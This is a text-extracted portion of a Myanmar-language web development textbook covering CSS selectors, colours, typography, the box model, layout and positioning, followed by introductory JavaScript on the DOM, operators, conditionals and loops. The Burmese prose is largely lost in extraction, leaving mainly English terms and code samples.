input[type=text] {
background: yellow;
border: 1px solid gray;
}

input[type=submit] {
padding: 5px 15px;
}

input[type=radio] {
margin-right: 5px;
}

Descendant Selector, Child Selector Attribute Selector


Professional Web Developer - () Cascading Style Sheets - CSS 57

Element Select

3.4 - Pseudo-classes
Pseudo-class CSS Selector Element ""
Select Element Mouse
Element Click Element Focus
Element Element Element
Style Select Selector

:hover Pseudo-class Element Mouse Style


-

a:hover {
color: red;
}

<a> Element Mouse


:hover Pseudo-class Element
Selector -

#nav li:hover {
background: green;
}

p:hover a {
color: lightblue;
}

:visited Pseudo-class <a> Element URL


Link URL Link
Style Google Search Wikipedia Website
Link
Link

Link :visited
Style

a {
Professional Web Developer - () Cascading Style Sheets - CSS 58

color: blue;
}

a:visited {
color: gray;
}

Link Link

:active Pseudo-class Element Click () Touch


Style Element
Click Element

button:active {
background: gray;
}

:focus Pseudo-class Form Input Element <input> <textarea> <select>


Element Focus

input[type=text] {
background: white;
}

input[type=text]:focus {
background: yellow;
}

Text Input Element


Cursor Focus
Pseudo-class Attribute Selector

:first-child Pseudo-class
Select Element Element
Style
:last-child Pseudo-class
:last-child Select Element Element

Style
Professional Web Developer - () Cascading Style Sheets - CSS 59

#nav li:last-child {
border: 0 none;
}

#page p:first-child {
font-weight: bold;
}

3.5 - Grouping Selectors


Selector Group Style
CSS Rule

p.note {
background: #efefef;
font-size: 12px;
}

#footer .copyright {
background: #efefef;
font-size: 12px;
}

code {
background: #efefef;
font-size: 12px;
}

Rules

p.note, #footer .copyright, code {


background: #efefef;
font-size: 12px;
}

Selector Comma (,) Group Selector CSS


Selector jQuery
JavaScript Framework
Professional Web Developer - () Cascading Style Sheets - CSS 60

3.6 - Basic Properties and Values

Background
Layout CSS Property
Element Background CSS Background Property ()
background-color, background-image, background-repeat, background -attachment
background-position Background Property
Element
background-color Property

p {
background-color: yellow;
}

background-color Property Color Value black, white, red,


green, blue, yellow, cyan, brown, gray Color Name
Color Name
black white Name

Color Value RGB Function



Screen Red, Green, Blue
CSS RGB Value

p {
background-color: rgb(255, 255, 0);
}

<p> Element rgb() Function


Parameter Red, Green, Blue
0 255 rgb(255, 0, 0) Solid Red
Red 255 Green Blue 0
rgb(0, 255, 0) Solid Green, rgb(0, 0, 255) Solid Blue
rgb(0, 0, 0) Screen
rgb(255, 255, 255)
rgb(200, 0,
0) Red 200 Green Blue 0
Professional Web Developer - () Cascading Style Sheets - CSS 61

() rgb(255, 255,
0) rgb() Primary Color

(-) CSS RGB Color

Color Value Hex Value Hexadecimal

p {
background-color: #FFFF00;
}

Hex Value # Sign () Hexadecimal



Decimal Number system 0 9 ()
Hexadecimal 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F ()
Number System
Hex FF Decimal 255
Hex Value 00 FF ()
FFFF00 R = FF, G = FF B = 00 Red Green
FF Green 00

Professional Web Developer - () Cascading Style Sheets - CSS 62

(-) CSS Hex Color

Hax Value () ()
- #FFFF00 #FF0 #88AADD #8AD #FFFFFF
#FFF #000000 #000
#ffff00

Color Value Background Color Color


Name, RGB Hex Value background-color Border
Color Value

RGB Color
Color Code

Color Picker Tool ColorZilla


Firefox Addon Addon Website
Color Circle Color Code
Color Code Hex, RGB, CSS3 Color Function HSL,
Print Design CMYK
Color Name Web Developer Browser
Addon
Professional Web Developer - () Cascading Style Sheets - CSS 63

(-) ColorZilla Firefox Addon


Link: http://www.colorzilla.com/

Google Chrome Browser Extension Install


CSS Background Property Background Image


background-image Property alert.png
Image

alert.png

Image <p class="alert"> Element Background


p.alert {
background-image: url("alert.png");
}
Professional Web Developer - () Cascading Style Sheets - CSS 64

background-image Property Value url() Function



url() Image File Path

(-) CSS Background Image Property

<p> Element alert.png Image Browser Repeat


Repeat background-
repeat Property
CSS

p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
}

background-repeat Property Value () repeat, repeat-


x, repeat-y no-repeat repeat Default Value repeat-x
Image Repeat (Horizontal) repeat-y

Image Repeat (Vertical)
no-repeat
Repeat
Professional Web Developer - () Cascading Style Sheets - CSS 65

(-) CSS Background Repeat

Repeat
Background
Image Position background-position Property

p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
background-position: top right;
}

background-position Property Value Vertical Position


Horizontal Position top bottom center
right left center
top right
Professional Web Developer - () Cascading Style Sheets - CSS 66

(-) CSS Background Position

Position Name - background-


position: 10px 20px; Position Element Left 10px
Element Top 20px

Background Property () () background-attachment


Background Image Screen Viewpoint Attach

background-attachment: fixed; Background
Document Attach Scrollbar Content
Background background-attachment: fixed;
Scroll Background Image

CSS Shorthand Background Property


p.alert {
background: #FFFFDD url(alert.png) no-repeat top right;
}
Professional Web Developer - () Cascading Style Sheets - CSS 67

background-color, background-image, background-repeat background-


position background Property
Value
Value Color Image
Repeat Attachment Position Value
Color Position
Value

Value Attachment
Property

p.alert {
background: #FFD url(alert.png) no-repeat 10px center;
border: 2px solid #DDA;
padding: 10px 10px 10px 50px;
border-radius: 5px;
}

border, padding, border-radius Property Property


(-) CSS Background -

<p> Element App Interface Warning Message


CSS
Professional Web Developer - () Cascading Style Sheets - CSS 68

Text and Font


(Text Color) CSS color Property Value
Background Color Color Value
() Alignment text-
align Property Value left, right, center, justify

h1 {
color: #224477;
text-align: center;
}

p {
color: #555;
text-align: justify;
}


Web
Screen text-indent Property

p {
text-indent: 50px;
}

Underline
text-decoration Property
text-decoration Property Underline <a>
Element Browser Underline
Underline text-decoration Property Value none

a {
text-decoration: none;
}

a:hover {
text-decoration: underline;
}

none underline text-decoration Property Value


Professional Web Developer - () Cascading Style Sheets - CSS 69

overline, line-through, blink overline


blink 90'
line-through
none underline

(Font) font-family Property Value


Font

p {
font-family: Arial, Helvetica, sans-serif;
}


Fallback
Arial Font Browser <p> Element Arial Helvetica
Helvetica sans-serif Font
Font Browser Default Font
Document Font

p {
font-family: Padauk, Maynamr3, "Myanmar Text";
}

"Myanmar Text" Quote Font Name Space


Quote Myanmar Text Font Windows 8 Default
Myanmar Font

Zawgyi Font
Zawgyi Font font-family: zawgyi-one; Zawgyi
Font Web
Standards Web
Font
Unicode Consortium
Microsoft, Apple Operating System Unicode
Font OS Google, Wikipedia Website
Website Unicode

Web Developer

Professional Web Developer - () Cascading Style Sheets - CSS 70

Bold
() Bold Bold
font-weight Property font-weight: bold; Bold
font-weight: normal; Bold <h1>
<h2> <h3> Heading Element Bold
font-weight: normal;

Italic
() Italic Italic
font-style Property font-style: italic; Italic
font-style: normal; Italic



Web Document Typography

Design Development Typography

Bold Italic Emphasis


Bold Emphasis
(-)

(-) Emphasis in Typography


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
Professional Web Developer - () Cascading Style Sheets - CSS 71

Size font-size Property CSS font-size


Size Unit px, pt, in, mm,
em, % pt, in, mm Unit Screen
Screen Resolution 1in 1 inch Screen
() px, em % px Unit
Size "" font-size: 13px;
13px

em %
Relative Unit Size font-
size: 200%;
" Size Size "
font-size: 80%; " Size
"
Parent Element Element
Structure -

<body>
<p>

<b> </b>
</p>
</body>

<body> Element Fix Size


Element Relative Unit %

body {
font-size: 16px;
}

p {
font-size: 200%; /* 32px */
}

p b {
font-size: 40%; /* 12px (40% of 32px) */
}

CSS /* */
/* */
Professional Web Developer - () Cascading Style Sheets - CSS 72

em Unit % 1.5em "" 3em "


" " " "
" font-size Size
width: 30em; Element
() width: 50%;
em % font-size
Size Border Size, Width, Height, Margin, Padding

px Fixed Unit % em Relative Unit Web


Developer Relative Unite
User Setting Design Detail
Fixed Unit Browser Function Zoom-In/Zoom-Out
Accessibility Relative Unit

Internet Explorer 6 Font Size px


Browser Zoom-Out
Internet Explorer 6 1%


Design Decision
px Unit () Mobile Web em %

Typography Size
Balance
Balance
(-)

Professional Web Developer - () Cascading Style Sheets - CSS 73

(-) Typographic Scale


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Text Property line-height


- font-size 16px
16px
Typography line-height
Size

-

body {
font-size: 16px;
line-height: 1.5em;
}

line-height 1.5em font-size line-height



line-height
line-height: 22px;

Professional Web Developer - () Cascading Style Sheets - CSS 74

(-) Line Height in Typography


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

(-) Line Height


Line Height Vertical Rhythm
Line Height
(-)
Professional Web Developer - () Cascading Style Sheets - CSS 75

(-) Vertical Rhythm in Typography


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Property letter-spacing word-spacing


letter-spacing
word-spacing

p {
letter-spacing: -1px;
word-spacing: 4px;
}

letter-spacing -1px
Minus
Measure

()

width Property

Professional Web Developer - () Cascading Style Sheets - CSS 76

p {
font-size: 14px;
width: 30em;
}

(-)

(-) Measure in Typography


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
Professional Web Developer - () Cascading Style Sheets - CSS 77

Styling Lists and Tables


<ul> <ol> Element Document List Bullet Number Style
list-style-type Property Marker
Number Bullet Value circle
(), disc(), square(), decimal (1-2-3), lower-alpha (a-b-c), lower-
roman (i-ii-iii), upper-alpha (A-B-C), upper-roman (I-II-III)
armenian, georgian, greek Value list-
style-type
<ul> disc Default <ol>
decimal Default Bullet Number
none List Bullet none

List Property list-style-image List Marker


Bullet Number Icon Image

ul {
list-style-image: url(arrow.png);
}

list-style-image Value background-image url()


<table> Element Style


Property
border-spacing border-collapse border-spacing Property Table
Cell border-collapse
Table Cell Border Style

(-) Table Style

table {
border-spacing: 1px;
background: #247;
}

td {
background: white;
border-collapse: collapse;
}

th {
color: white;
}
Professional Web Developer - () Cascading Style Sheets - CSS 78

(-) CSS Table Style

border-spacing: 1px; table border-collapse:


collapse; td Cell
Border Border Table Background Color Cell
Space Border
Table Border

CSS Property
CSS HTML
Document
Professional Web Developer - () Cascading Style Sheets - CSS 79

3.7 - External CSS


CSS Rule File css Extension ( -
style.css, layout.css, widget.css) File File
File Content-Type Attribute File
Extension css Content-Type Attribute

CSS Style File CSS File Web Document
<link> Element -

<link rel="stylesheet" href="style.css">

<link> Element Favicon, RSS Resource


rel Attribute stylesheet href Attribute CSS
File URL Document
style.css

<link> Element <head> Element


- Browser <body> Element
Style
<link> Element <head> Element

css Extension CSS Style File HTML Document


External CSS External CSS
() Style HTML Document Semantic Data Structure
CSS

() CSS Style File HTML Document


Style
Reusable
Style File Style File
Document Effect
Cache Document
Style File Browser Cache Style
File Document Style File
Cache Performance

Professional Web Developer - () Cascading Style Sheets - CSS 80

3.8 - Internal CSS


CSS HTML Document <style> Element
HTML Document Internal CSS
Document Style External CSS
Style Reusable Internal CSS
<head> Element

<style>
body {
font-size: 16px;
line-height: 1.5em;
color: #222;
}

h1 {
font-size: 21px;
font-weight: normal;
}


</style>

<style> Element type="text/css" Attribute


CSS Style Language type Attribute
Browser CSS

3.9 - Inline CSS


Element style Attribute Element

Inline CSS Element
Selector
Property Value

<p style="color:red; font-style:italic;"> </p>

Inline CSS Style HTML Element


CSS HTML <font> <center> Style
Element bgcolor, border Style Attribute
Element Attribute

Inline CSS JavaScript Interactive User Interface


JavaScript Interface Interaction Inline
Professional Web Developer - () Cascading Style Sheets - CSS 81

CSS
JavaScript
Inline CSS JavaScript Document Style

3.10 - Multiple Style Sheets and Cascading Order


Browser Style Default External Style Internal Style Inline
Style Cascading Order
Style

Element External Style Rule Internal Style


Rule Internal Rule External Rule Overwrite
Internal Rule Inline Style
Inline
Style Overwrite

HTML Document External Style


External Style Rule
Browser CSS Rule
(Line-by-Line)
Rule
Rule Rule Overwrite
<link> Element CSS File Style
File Style () Overwrite

/* First Declaration for <h3> */


h3 {
font-size: 18px;
text-align: center;
color: red;
}

/* Another Declaration for <h3> again */


h3 {
font-size: 21px;
text-align: left;
}

h3 Selector CSS Rule


font-size, text-align color
font-size
text-align font-size
text-align color h3
Professional Web Developer - () Cascading Style Sheets - CSS 82

h3 {
font-size: 21px;
text-align: left;
color: red;
}

Rule Priority
Element ID Class

[HTML]
<p id="note" class="note"> </p>

[CSS]
#note {
background-color: #FFFFDD;
}
.note {
background-color: yellow;
}

Element ID Class Select Class


Select ID Select background-
color: #FFFFDD; ID Selector Class Selector Priority
Priority Selector

#nav li a {
text-decoration: underline;
}

li a {
text-decoration: none;
}

li a Selector #nav li a Selector


text-decoration: underline; Priority
!important Marker Force -
Professional Web Developer - () Cascading Style Sheets - CSS 83

#nav li a {
text-decoration: underline;
}

li a {
text-decoration: none !important;
}

Priority #nav li a li a text-decoration: none !important


Marker text-decoration: none

3.11 - Display Types


HTML Element Display Type Block
Inline Block Element Parent Element (Width)
Element width height Property
Element
<h1> <h6>, <p> <ul> <li> Element
Block Element

Inline Element Block Element Content



Element Content
Element Inline
Inline Element
Element <b> <i> <em> <strong>
Formatting Element <a> Element Inline Element

Element Display Type display Property


- Inline
Element <a> Element Block

a {
display: block;
}

Block Element Inline


display: inline;
Block Inline Inline
Element Block width, height Property

Inline Element
Block
<a> Element

Professional Web Developer - () Cascading Style Sheets - CSS 84

a {
display: block;
width: 200px;
height: 40px;
text-align: center;
line-height: 40px;
text-decoration: none;
background-color: #519B7E;
color: #FFF;
border-radius: 20px;
}

Link Button display: block;


width height
Property border-radius Property
line-height
height height line-height
CSS Element Horizontal Align
text-align Property Vertical Align
Vertical Align Center

3.12 - Layouts
Web Document Layout Block Element
Element <div> Element <div> Element Block Element
Generic Element

Block
Element Block
Element <div>

<div> Generic Element <span> Inline


Element Inline Element Element <span> Element

Professional Web Developer - () Cascading Style Sheets - CSS 85

Layout float Property float Property Block


() Property Block Element
Element float

Element (-)

(-) CSS Layout


Professional Web Developer - () Cascading Style Sheets - CSS 86

(-) (A) (B) (A) Block Element () width,


height, background-color Block Width

(B) float Property width: 600px


Main
Content float: left width:
200px Element Block
float: left

Element clear: both


float Element
float Element

float clear "Block float


Element clear " Layout Design
Block (-) (B) Layout
layout.html
File Name

<!doctype html>
<html>
<head>
<title>CSS Layout</title>
<style>
.wrap {
width: 800px;
margin: 20px auto;
}
.header {
height: 100px;
background: #cb1212;
}
.content {
width: 600px;
height: 400px;
background: #519b7e;
float: left;
}
.sidebar {
width: 200px;
height: 400px;
background: #1635a6;
float: left;
}
Professional Web Developer - () Cascading Style Sheets - CSS 87

.footer {
height: 60px;
background: #333;
clear: both;
}
</style>
</head>
<body>

<div class="wrap">
<div class="header"></div>
<div class="content"></div>
<div class="sidebar"></div>
<div class="footer"></div>
</div>

</body>
</html>

File CSS Internal <style>


Element Property

.wrap margin: 20 auto;


.wrap width: 800px .header .footer (-) width
Block Element width Parent Width

(-) CSS Layout - Float Clear


Professional Web Developer - () Cascading Style Sheets - CSS 88

(-) float clear Parent Element


overflow: hidden; Property Value Child
Element
float clear
Element clear: both Layout

3.13 - Box Model


Block Element width height border, margin padding
margin Element Border padding
Element Element Content (-)

(-) CSS Box Model

Block Box Property

#content {
width: 600px;
height: 380px;
border: 4px solid #519b7e;
margin: 20px;
padding: 10px;
background: #ffd;
}
Professional Web Developer - () Cascading Style Sheets - CSS 89

width height Property border Property


Element Border
()

border-size, border-style border-color
Border Border Property border
Value Size, Style, Color
Size Unit
Style () solid ( ___ ), dotted ( ) dashed
( ------- ) Style Color

Border Margin
margin Property
Block Top, Right, Bottom, Left
margin: 20px;
20px

margin-top, margin-right, margin-bottom, margin-left
margin Value

- margin: 10px 20px 0 5px; margin-top: 10px; margin-right:


20px; margin-bottom: 0; margin-left: 5px; Value Top,
Right, Bottom, Left margin: 10px 20px;
Value Top/Bottom 10px
Left/ Right 20px

margin-left margin-right Value


auto
Element Layout
margin: 20px auto; margin Top/Bottom 20px
Left/Right auto Layout

Border Element Content padding Margin


margin Property padding Property
padding-top, padding-right, padding-bottom, padding-left
margin Value

Professional Web Developer - () Cascading Style Sheets - CSS 90

margin Minus Value


margin-
top: -5px; padding Minus Value

CSS Box Model

#content {
width: 600px;
height: 380px;
border: 4px solid #519b7e;
margin: 20px;
padding: 10px;
}

Element width: 600px;


Document 600px border: 4px solid
#519b7e;
Browser Border width: 600px
Document margin: 20px; padding: 10px;
Document

Element width: 600px;


668px - 600 (width) + 8 (border left/right) + 40 (margin left/right) + 20
(padding left/right) height: 380px
448px - 380 (height) + 8 (border left/right) + 40 (margin left/right) + 20 (padding
left/right)

Layout Element
width height border, margin,
padding

Professional Web Developer - () Cascading Style Sheets - CSS 91

(-) Content Width vs. Actual Width

Layout Box Property


Website Drop Down Menu

<!doctype html>
<html>
<head>
<title>CSS Drop-Down Navigation</title>
<style>
.nav, .sub {
font-family: Arial, Helvetica, sans-serif;
list-style: none;
margin: 0;
padding: 0;
}

.nav li {
background: #cb1212;
height: 40px;
line-height: 40px;
text-align: center;
width: 160px;
}
Professional Web Developer - () Cascading Style Sheets - CSS 92

.nav li a {
display: block;
text-decoration: none;
color: #fff;
}

.nav li a:hover {
background: #f00;
}

.nav > li {
border-right: 1px solid #f00;
float: left;
}

.sub {
display: none;
}

.nav > li:hover .sub {


display: block;
}

.sub li {
border-top: 1px solid #f00;
}
</style>
</head>
<body>
<ul class="nav">
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li>
<a href="#">Services &raquo;</a>
<ul class="sub">
<li><a href="#">Social Media</a></li>
<li><a href="#">Web Development</a></li>
<li><a href="#">SEO</a></li>
</ul>
</li>
<li><a href="#">Products</a></li>
</ul>
</body>
</html>

File Name HTML


Structure <ul> Element Menu List <li> Element
<ul> Element Sub-Menu Services
&raquo; HTML Right Arrow Symbol ( )

CSS .nav, .sub Select <ul> list-style: none margin: 0;


Professional Web Developer - () Cascading Style Sheets - CSS 93

padding: 0; Bullet
<li> Block Element <li>
.sub > li Select float: left;
Child Selector
Direct Child <li> float <ul
class="sub"> <li>

.sub display: none;


display
Property Inline/Block none Value
display: none
Sub Menu
.nav > li:hover .sub display: block; li
Mouse
Sub Menu
JavaScript Dorp-Down Menu

(-) CSS Drop-Down Menu

3.14 - Position Properties


Element Document
Regular Flow Element Regular Flow
CSS

position Property absolute top/bottom,
right/left Property

#box {
position: absolute;
top: 100px;
left: 150px;
}

Element #box Document


Border top: 100px; left: 150px;
Professional Web Developer - () Cascading Style Sheets - CSS 94

HTML Element Default Position Value static position Property


Value relative position:
absolute; Element Document Border
Document Border Parent Element
Parent Element position: relative;

[HTML]
<div id="out">
<div id="in"> </div>
</div>

[CSS]
#out {
position: relative;
}

#in {
position: absolute;
top: 100px;
left: 100px;
}

#in Element top: 100px; left: 100px; #out


Border

(-) Static vs. Relative Position


Professional Web Developer - () Cascading Style Sheets - CSS 95

Position Value fixed fixed absolute


absolute Position Element Document
Attach fixed Position Screen View Point Attach
background-attachment

position Property Layout


Layout Flexible
position JavaScript User
Interface Element ( - Popup Calendar, Modal Dialog,
Tabbed Panel, etc...) JavaScript
User Interface Element Property

z-index Property Element Overlap Element


#box-one {
position: absolute;
top: 100px;
left: 100px;
width: 400px;
height: 280px;
background: #ff0;
z-index: 2;
}

#box-two {
position: absolute;
top: 150px;
left: 150px;
width: 400px;
height: 280px;
background: #8a5;
z-index: 1;
opacity: 0.8;
}

#box-one z-index: 2 #box-two z-index: 1


#box-one opacity Property Element Transparency
Level
1
0
Element 0 1

Transparency Level
Professional Web Developer - () Cascading Style Sheets - CSS 96

Conclusion
CSS Level 2.1
HTML5 CSS3
Layout Flex Box Box Model
Margin, Padding, Border Width, Height Bordered
Box Mobile Devices Website
Device Resolution Screen Size
Media Query Gradient, Box Shadow
Visual Effect Animation Font Website
Font
Font Font Embed
Border Image, Multiple Background, Background Image Size

() HTML5 CSS3
() Mobile Web CSS3 Media Query
CSS3 CSS4 CSS5
CSS


Fairway Tech School
Web, Mobile Design

- ()

www.fairway.com.mm
Professional Web Developer - () JavaScript 98

() JavaScript
DOM Manipulation HTML

JavaScript Programming Language Mozilla Corporation Brendan Eich


Web Browser Client-side
Script Language JavaScript Desktop Widgets Mobile App
Server-Side Script

Java Java JavaScript


Language Java JavaScript C/C++
Java JavaScript
Language JavaScript Java Scheme, Lisp, Self
Language JavaScript Mocha
LiveScript JavaScript

JavaScript
Java Programming Language
Netscape Language Promote Java
JavaScript Java
Netscape Navigator Browser Java Build-in
Java JavaScript Man Mango

JavaScript Microsoft
Internet Explorer 3 JavaScript
JavaScript Industrial Standard ECMA International
ECMA Script Industrial Standard
Professional Web Developer - () JavaScript 99

JavaScript Web Browser Script Language


Ajax Language
Ajax JavaScript Ajax
() Ajax with jQuery Web
Document App Platform
NodeJS Server-side JavaScript
HTML5 App Development
JavaScript API JavaScript Software
Development

C/C++, Java, C#, Objective-C, PHP, Ruby,


Python Programmer JavaScript



JavaScript Programming
Programming Language

4.1 - Nature of JavaScript


JavaScript Multi-Paradigm Language Programming Language
Imperative Language, Object-oriented Language, Function Language Paradigm
JavaScript

JavaScript Line-by-Line Imperative Imperative


Programming Code (Instruction) Program
(Instruction Set) JavaScript C Programming
Language (Syntax) Java, C#, PHP JavaScript
C Language

JavaScript Object-oriented Object-oriented


Language Object Class JavaScript
Class Object
Class
Object-oriented Language Classical OOP JavaScript Prototype OOP
JavaScript Object JSON (JavaScript Object Notation)
() jQuery

JavaScript Update Version ECMAScript 6 (ES6)


Class JavaScript Classical OOP Language Class
OOP
Professional Web Developer - () JavaScript 100

JavaScript Functional Programming Language



Nameless Function Closure Callback
Function First Class Citizen - Function
Function Parameter Function
Variable
Function Inner
Function Nested Function
Nameless Function ()

JavaScript Script Language C/C++, Java, C# Language


Compiled Language Compiled Language Program
Machine Code Compile Compile
PHP, Ruby, Python JavaScript
Script Language Script Language Program
Compile Language

Compiled Language Script Language


Compiled Language Pre-Compile Performance
Compile Scripting
Language Program Run Interpreter
Machine Code Performance Compiled
Language Script Language Productive
Productive Code

PHP JavaScript Program


Workflow
Code Editor Browser Code
Browser
Code
Compile Language
Compile

Run JavaScript Program Browser JavaScript Console Run


Run Code Program

Compiled Language Program

Debug Run Program


Compile

Professional Web Developer - () JavaScript 101

JavaScript Dynamic Type Language Type Checking Compile Time


Runtime Language Type
Boolean, Number, String Data Type Object Hierarchy

Developer Data Type Language
-

var x = 123;

- Variable x Data Type Number



Integer Language -

x = "Hello, World!";

- Variable x Data Type String Language


Dynamic Type JavaScript Script Language
Data Type

4.2 - Purpose of JavaScript


Client-side JavaScript DOM Manipulation, Ajax
HTML5 API DOM Manipulation

DOM Document Object Model DOM HTML Document


Element JavaScript API
Document Element Element
Element Content Element
Element JavaScript

Event JavaScript DOM Manipulation


- Click
Menu Select Box

Professional Web Developer - () JavaScript 102

4.3 - DOM Basic


JavaScript DOM Manipulation ()
Event, Function DOM Selector (-)

(-) HTML Event Attribute

(-) <button> Element onClick Attribute Attribute


Value Element Click
JavaScript Code

onClick Event Attribute onDblClick, onMouseOver,


onMouseOut, onMouseMove, onKeyPress, onKeyDown, onKeyUp Attribute
onLoad onUnLoad Attribute <body> Element
onFocus, onBlur, onChange, onSelect, onSubmit
Attribute
Form Element
Professional Web Developer - () JavaScript 103

Event Attributes Value JavaScript Code


JavaScript Code Attribute Value Function

Function
(-)

(-) JavaScript Function and ID Selector

Function function Keyword


Function


Function Underscore ( _ )
Space % + - / @ Special
Character JavaScript Keyword

Professional Web Developer - () JavaScript 104

JavaScript Keyword

abstract, boolean, break, byte, case, catch, char, class, const, continue, debugger, default, delete, do, double,
else, enum, export, extends, false, final, finally, float, for, function, goto, if, implements, import, in,
instanceof, int, interface, long, native, new, null, package, private, protected, public, return, short, static,
super, switch, synchronized, this, throw, throws, transient, true, try, typeof, var, volatile, void, while, with

(-) changeColor() Function


Code Semi-colon ( ; ) Semi-colon
JavaScript

var obj obj Variable C, Java


Static Type Language int i, float pi, String str Variable Data
Type JavaScript Dynamic Type
Data Type var Keyword

document.getElementById ID Selector CSS JavaScript


Element Select document.getElementById
Element Id "note"
id="note"
Element JavaScipt DOM API Select

var obj = documet.getElementById("note");

Code id="note" Element Select


obj Variable obj Variable
id="note" Element

document.getElementById
JavaScript Case Sensitive

obj.style.color="red"
(-)
color
CSS Property
"red" CSS Value

Professional Web Developer - () JavaScript 105

background-color CSS Property backgroundColor


Dash ( - ) JavaScript Minus Operator Dash
- obj.style.backgroundColor = "yellow" CSS Property

changeColor() Function id="note"


Element
Function
Function
(-) (-) <button> Click
changeColor() Function id="note"
Element <button>



- document.getElementById("note").style.color = "red"
Select Element Variable Cache

Event, Function, DOM ID Selector Document Element


JavaScript Programming Language


Programming Basic Programming
Variable, Array, Operator, Conditional Statement, Loop
JavaScript Programing Language

4.4 - Data Type and Array


JavaScript Data Type () boolean, number string
null undefined Data Type Special Value boolean
Data Type true false

Language int, float, double, long Number Data Type


JavaScript Language double 64-bit Floating
Point Number NaN Number Data Type
Not a Number
Professional Web Developer - () JavaScript 106

string Data Type Single Quote ( ' ) Double Quote ( " )



length Property

var greet = "Hello, World!";


var len = greet.length; # => 12

Data Type Dynamic Type


Language Data Type

JavaScript Code Comment // Operator


JavaScript // CSS
/* */
// /* */

JavaScript Variable var Keyword


var Keyword


Array Array
-

var months = [];


months[0] = "Jan";
months[1] = "Feb";
months[2] = "Mar";

()

var months = ["Jan", "Feb", "Mar", ];

Array
Index



Array Index Zero (0)
Array length
Property
Professional Web Developer - () JavaScript 107

var months = ["Jan", "Feb", "Mar", "Apr", "May"];


var len = months.length; # => 5

Static Type Language Array Data


Type JavaScript

4.5 - Operators
(+), (-), (*), (/) Operator
Modulus (%) Operator

var x = y + z;
var r = 123;
var a = 3.14 * r * r;
var x = (a * a) / (b + c) - 3;
var i = 5 % 3; # => 2

+ Operator

var name = "John Doe";


var greet = "Hello " + name; # => Hello John Doe
var price = "$" + 3 + 4; # => $34

Equal ( = ) Operator Assign =


Operator Variable +=
-=

*=, /=, %=

var greet = "Hello ";


greet += "Jame Doe"; # => Hello Jame Doe

var x = 8;
x -= 3; # => 5
Professional Web Developer - () JavaScript 108

++ Operator () -- Operator

()

var x = 5;
x++; # => 6
++x; # => 7
x--; # => 6
--x; # => 5

==, ===, !=, <, >, <=, >= Operator


boolean true false
== Operator Equal To === Operator Identical
" " == Operator
=== Operator Data Type

var x = 5;
var y = 3;

var a = x == y; # => false


var b = x != y; # => true
var c = x > 5; # => false
var d = x >= 5; # => true
var i = 5 == "5" # => true
var j = 5 === "5" # => false

&& Operator AND AND Operator


true true false
false || Operator OR OR Operator
true true
false false Exclamation (!) NOT
boolean

var x = 5;
var y = 3;

var a = x == y && x == 5; # => false


var b = x == y || x == 5; # => true
var c = !(x == y || x == 5); # => false

&& Guard Operator


false true
Professional Web Developer - () JavaScript 109

() var len = months.length;


months Array null
Error Program && Guard

var len = months && months.length;

&& months null boolean false


null len null months.length
Error months null
months.length len months Array length
&& Guard Operator

|| Default Operator &&


boolean true
false ()

var x = a || 10;

a x a
x false x 10
a a 10
|| Default Operator

!
!! Operator boolean

var a = !!undefined; # => false


var x = !!"Hello"; # => true
Professional Web Developer - () JavaScript 110

4.6 - Control Structures


Conditional Statements
JavaScript (Condition)
if Statement (-)

(-) JavaScript if Statement

if Keyword Condition today


Variable sunday
Block Statement today Variable sunday

else Block Statement
else Block

if Control Syntax (one statement)



Professional Web Developer - () JavaScript 111

if( today == "sunday" ) {


say( "Super Sunday!" );
}

()

if( today == "sunday" ) say( "Super Sunday!" );

()

if( today == "sunday")


say( "Super Sunday!");



if - else if - else
(-)

(-) JavaScript If - Else If - Else Syntax


Professional Web Developer - () JavaScript 112

Switch Statement
Switch Statement
Control Syntax
(-) Switch Statement

switch( today ) {
case "monday":
case "tuesday":
case "wednesday":
case "thursday":
say("Boring weekdays"); break;
case "friday":
say("TGIF!"); break;
case "saturday":
say("Happy Caturday!"); break;
case "sunday":
say("Yay, super Sunday!"); break;
default:
say("Too dizzy! Not sure what day it is. @_@ ");
}

switch
case
today
monday, tuesday, wednesday, thursday say("Boring
weekdays") today friday
say("TGIF!") break

case default:

Loops

Loop -

while( condition ) {
// do this until condition is false
}

while Condition Condition true


Block
-
Professional Web Developer - () JavaScript 113

<select id="months"></select>
<script>
var months = [
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
var data, i = 0, len = months.length;
while(i < len) {
data += "<option>" + months[i] + "</option>";
i++;
}
document.getElementById("months").innerHTML = data;
</script>

while Loop months Array HTML <option> Element


id="months" <select> Element
innerHTML DOM Attribute Select
Element Element Content
innerHTML

Loop i
0 months Array
Index len
12 i < len
true Loop Block data
Variable months[0] <option>
i ++ Operator () i 0 1
Condition i < len i 1
len 12 true Loop Block
Loop <option>
i () i 12 i
< len Condition (12 < 12) => false Loop

while Loop do - while Loop Loop do


while Condition Loop Block while
Loop do - while

do {
data += "<option>" + months[i] + "</option>";
i++;
} while(i < len);

while do - while while Loop Condition Loop


Block do - while Loop Block Condition
Condition Condition
Professional Web Developer - () JavaScript 114

do - while Loop for Loop


-

for(init; condition; increment) {



}

init Loop
condition while Loop condition Condition true Loop
Block Increment Loop Block

for
Loop

for(i = 0; i < len; i++) {


data += "<option>" + months[i] + "</option>";
}

init i = 0 condition i <


len Loop Block i++ increment Loop
Block
i () Loop Block
i++

4.7 - Pop-up Boxes


JavaScript Program Pop-up Box Pop-Up Box ()
Alert Box, Confirm Box Prompt Box

(-) JavaScript Alert Box

Alert Box (-) Message OK Button


Message alert("Hello, World!")
Professional Web Developer - () JavaScript 115

Browser alert() Function Alert Pop-up Box


"Hello, World!" Message OK Button
Pop-up Box

(-) JavaScript Confirm Box

Confirm Box (-) Message OK / Cancel Button


OK button true Cancel false
true / false

-

var result = confirm("Are you sure?");


if( result ) {
// do something that you want
// to carry on if user click OK
} else {
// do something that you want
// to carry on if user click Cancel
}

Confirm Box confirm("Are you sure?")


Button true / false result Variable
result if Statement
"Are you sure?" Message

(-) JavaScript Prompt Box


